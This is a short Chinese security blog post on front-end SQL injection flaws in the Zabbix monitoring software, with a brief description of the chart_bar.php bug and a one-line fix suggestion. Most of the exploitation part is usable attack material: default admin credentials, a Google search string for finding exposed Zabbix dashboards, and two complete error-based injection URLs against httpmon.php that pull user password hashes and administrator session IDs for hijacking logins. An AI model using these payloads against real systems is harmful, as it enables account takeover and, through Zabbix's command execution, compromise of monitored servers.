Zabbix的前台SQL注射漏洞利用
今年8月份Map在wooyun上发了个Zabbix某前台SQL注射漏洞 ,11月份才公开。
漏洞详情大约是这样的:
在zabbix前端存在一个SQL注射漏洞,由于zabbix前台可以在zabbix的server和client进行命令执行,所以这会导致很严重的后果。
在 /chart_bar.php 的163行代码 获取了一个来自GET,POST,COOKIE的值itemid。
$itemid = $item['itemid'];
最后这个参数进到了SQL查询的过程
在同一个文件内的$periods参数也存在一样的问题,导致了一样的SQL注射漏洞。
修复建议:对相关参数加上zbx_dbstr函数进行过滤
wooyun上给出的Poc不好用,小伙伴改了个Java版的Exp,后来研究出了如何简单识别站点有无漏洞,Exp效果如下图:
小编反编译阅读了一下Java源码 改了个Python版本的:
脑补时间:
默认密码:admin/zabbix
Google:inurl:zabbix/dashboard.php
我们还清楚的记得
Zabbix SQL Injection/RCE – CVE-2013-5743
httpmon.php页面存在未经zbx_dbstr函数过滤导致注入
获取密码
1
2
3
|
http://zabbix.secpulse.com/httpmon.php?applications=2 and (select 1 from (select count(*),
concat((select(select concat(cast(concat(alias,0x7e,passwd,0x7e) as char),0x7e))
from zabbix.users LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
|
获取sessionid(可替换刷新登陆)
1
2
3
4
|
http://zabbix.secpulse.com/httpmon.php?applications=2 and (select 1 from (select count(*),
concat((select(select concat(cast(concat(sessionid,0x7e,userid,0x7e,status) as char),0x7e))
from zabbix.sessions where status=0 and userid=1 LIMIT 0,1),floor(rand(0)*2))x
from information_schema.tables group by x)a)
|
转载请注明:安全脉搏 » Zabbix的前台SQL注射漏洞利用